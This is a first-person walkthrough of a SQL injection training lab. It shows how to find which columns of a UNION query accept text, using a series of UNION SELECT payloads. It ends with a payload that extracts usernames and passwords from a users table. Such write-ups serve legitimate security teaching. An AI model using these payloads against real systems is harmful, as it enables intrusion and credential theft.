This lab builds on the previous one. Now that I know how many columns the query returns, I need to figure out which columns can hold text data. This is important because I’ll want to extract text information like usernames, passwords, and other sensitive data.
The Challenge
The lab gives me a random string (like “abcdef”) and tells me to make it appear in the query results. This tests if I can successfully inject text data into the query.
Step-by-Step Method
Step 1: First, find how many columns there are
From the previous lab, I know I need to find the column count first:
' UNION SELECT NULL, NULL, NULL--
Let’s say this works, so there are 3 columns.
Step 2: Test each column with text
Now I test each column position one by one with my random string (let’s say it’s “5f8zq3”):
Test column 1:
' UNION SELECT '5f8zq3', NULL, NULL--
If this works, I’ll see “5f8zq3” appear somewhere on the page. If it gives an error, column 1 doesn’t accept text.
Test column 2:
' UNION SELECT NULL, '5f8zq3', NULL--
Test column 3:
' UNION SELECT NULL, NULL, '5f8zq3'--
Step 3: Find all text columns
I might test combinations too:
' UNION SELECT '5f8zq3', '5f8zq3', NULL--
' UNION SELECT '5f8zq3', NULL, '5f8zq3'--
' UNION SELECT NULL, '5f8zq3', '5f8zq3'--
What Am I Looking For?
When I inject successfully, one of two things happens:
- The page loads normally and my random string appears somewhere in the content
- The page loads normally (no error) even if the string doesn’t visibly appear
If I get an SQL error, that column doesn’t accept text data at that position.
Why This Matters
Knowing which columns accept text is crucial because:
- I can only extract text data (like passwords) into text-compatible columns
- If I try to put text into a number column, it will fail
- Once I know which columns work with text, I can use them to extract real data
Example Walkthrough:
Random string from lab: "5f8zq3"
- Find column count:
' UNION SELECT NULL, NULL, NULL--✓ (3 columns) - Test column 1:
' UNION SELECT '5f8zq3', NULL, NULL--✗ (error) - Test column 2:
' UNION SELECT NULL, '5f8zq3', NULL--✓ (works!) - Test column 3:
' UNION SELECT NULL, NULL, '5f8zq3'--✓ (also works!)
Result: Columns 2 and 3 accept text data.
Complete Payload That Solves the Lab:
Any of these would work (depending on which columns accept text):
' UNION SELECT NULL, '5f8zq3', NULL--
' UNION SELECT NULL, NULL, '5f8zq3'--
' UNION SELECT NULL, '5f8zq3', '5f8zq3'--
As soon as I see my random string appear in the page response, I’ve solved the lab.
Real-World Application:
In a real attack, once I know:
- How many columns (let’s say 3)
- Which accept text (columns 2 and 3)
I could then extract data like:
' UNION SELECT NULL, username, password FROM users--
Putting the username in column 2 and password in column 3, since those accept text.